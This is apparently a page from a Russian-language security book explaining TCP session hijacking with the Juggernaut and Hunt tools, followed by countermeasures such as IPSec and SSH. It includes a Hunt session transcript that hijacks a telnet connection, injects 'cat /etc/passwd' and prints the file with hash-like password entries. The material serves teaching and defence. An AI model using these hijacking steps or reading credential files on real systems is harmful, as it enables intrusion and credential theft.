Захват сеанса
Сетевые устройства поддерживают весь корпоративный поток сообщений. Каждое сообщение электронной почты, каждый файл, каждый номер кредитной карточки клиента передается по сети и обрабатывается этими устройствами. Очевидно, что обеспечение их безопасности является первоочередной задачей. Поэтому никогда нельзя исключать возможности, что сетевой трафик будет перехвачен злоумышленником. Ниже вы узнаете, как это можно осуществить с помощью так называемого захвата соединения TCP (TCP hijacking).
Такой подход стал возможным из-за наличия ошибок в протоколе TCP. Протоколы TCP/IP допускают внедрение в поток сообщений ложного пакета, позволяя тем самым запускать команды на удаленном узле. Однако этот тип взлома возможен только в сети с множественным доступом (этому вопросу посвящен раздел "Множественный доступ и коммутация пакетов" главы 10, "Сетевые устройства"), и для него нужно немного везения. С помощью программы Juggernaut или Hunt взломщик может попытаться "подсмотреть" передаваемые данные, а затем перехватить соединение.
Juggernaut
Одна из первых попыток применить на практике теорию захвата TCP была предпринята Майком Шиффманом (Mike Schiffman), в результате чего появился продукт Juggernaut (возможно, многие вспомнят Майка по его предыдущей программе. Появление этого бесплатного программного продукта оказалось революционным в том отношении, что с его помощью можно было "шпионить" за соединением TCP, а затем на некоторое время его захватывать. Это позволило взломщикам вводить команды в качестве легитимного пользователя. Например, если сетевые устройства используются в сети с множественным доступом, то взломщики могут отслеживать соединения, а затем перехватить сеанс telnet или ввести пароль для устройств Cisco.
Juggernaut
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step Down
Hunt
Утилита Hunt (ее можно найти на Web-узле http://www.cri.cz/-kra/index.html#HUNT) — это еще одна программа перехвата, отличающаяся стабильностью работы. Ее автор, Павел Крауз (Pavel Krauz) создал замечательную программу, которая наглядно демонстрирует недостатки протокола TCP.
Как и Juggernaut, программа Hunt позволяет взломщику легко следить за соединением и, таким образом, выведывать такую ценную информацию, как пароли. Как это происходит, видно из следующего примера.
--- Main Menu---rcvpkt 1498, free/alloc pkt 63/64 ---
1/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
> w
0) 172.29.11.207 [1038] -> 172.30.52.69 [23]
1) 172.29.11.207 [1039] -> 172.30.52.69 [23]
2) 172.29.11.207 [1040] -> 172.30.52.66 [23]
3) 172.29.11.207 [1043] -> 172.30.52.73 [23]
4} 172.29.11.207 [1045] -> 172.30.52.74 [23]
5) 172.29.11.207 [1047] -> 172.30.52.74 [23]
choose conn> 2
dump [s]rc/[d]st/[b]oth [b]> s
CTRL-C to break
uname -a su
hello
cat /etc/passwd
---Main Menu--- rcvpkt 76, free/alloc pkt 63/64---
1/w/r) list/watch/reset connections u) host up tests
a)arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options x) exit > s
0) 172.29.11.207 [1517] --> 192.168.40.66
[23] choose conn>0
dump connection y/n [n]>n
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n [n]>
Enter the command string you wish executed or [cr]>
cat /etc/passwd cat /etc/passwd
root:rhayrl.AHfasd:0:1:Super-User:/:/sbin/sh daemon:x:
1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/
:adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/
uucp/uucicc listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:
No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/:
sm:a401ja8fFla.;:100:1::/export/home/sm:/bin/sh
[r]eset connection/[s]ynchronize/[n]one [r]>n
done
Контрмеры против захвата соединений
Применение шифрующих коммуникационных протоколов, например IPSec или SSH, позволит значительно снизить или свести к нулю эффективность таких перехватов данных. Когда-то считалось, что технология сетей с коммутацией пакетов обеспечивает адекватную защиту от взломов подобного рода, но с тех пор средства сетевого мониторинга стали настолько хитроумными, что при определенных обстоятельствах они позволяют добиться желаемого результата (см. описание утилиты dsnif f в главе 8). Поэтому кодирование информации является самой лучшей защитой.
Назад Содержание Вперед